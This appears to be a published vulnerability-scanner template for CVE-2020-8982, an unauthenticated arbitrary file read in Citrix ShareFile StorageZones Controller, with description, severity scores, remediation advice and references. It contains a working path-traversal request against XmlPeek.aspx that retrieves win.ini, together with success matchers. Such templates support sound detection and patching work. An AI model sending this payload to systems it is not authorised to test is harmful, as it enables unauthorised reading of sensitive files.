CVE-2020-8982: Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read

2025-08-01 Citrix ShareFile StorageZones PoC Public

Description

Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability.

PoC

id: CVE-2020-8982

info:
  name: Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability.
  impact: |
    An attacker can read arbitrary files on the affected system, potentially leading to unauthorized access to sensitive information.
  remediation: |
    Upgrade Citrix ShareFile StorageZones to version 5.11 or higher to mitigate the vulnerability.
  reference:
    - https://support.citrix.com/article/CTX269106
    - https://drive.google.com/file/d/1Izd5MF_HHuq8YSwAyJLBErWL_nbe6f9v/view
    - https://www.linkedin.com/posts/jonas-hansen-2a2606b_citrix-sharefile-storage-zones-controller-activity-6663432907455025152-8_w6/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8982
    - https://github.com/0xT11/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-8982
    cwe-id: CWE-22
    epss-score: 0.27149
    epss-percentile: 0.97947
    cpe: cpe:2.3:a:citrix:sharefile_storagezones_controller:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: sharefile_storagezones_controller
  tags: cve2020,cve,citrix,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207699c7ffe2399da3b406657d96bc80994e8d66c22b2703d4cf0f8eddb58cf597022100ff82a5862edebfc80120304001b3c986c4d701e73314d07fc1de3a8d7690caae:922c64590222798bb761d5b6d8e72950

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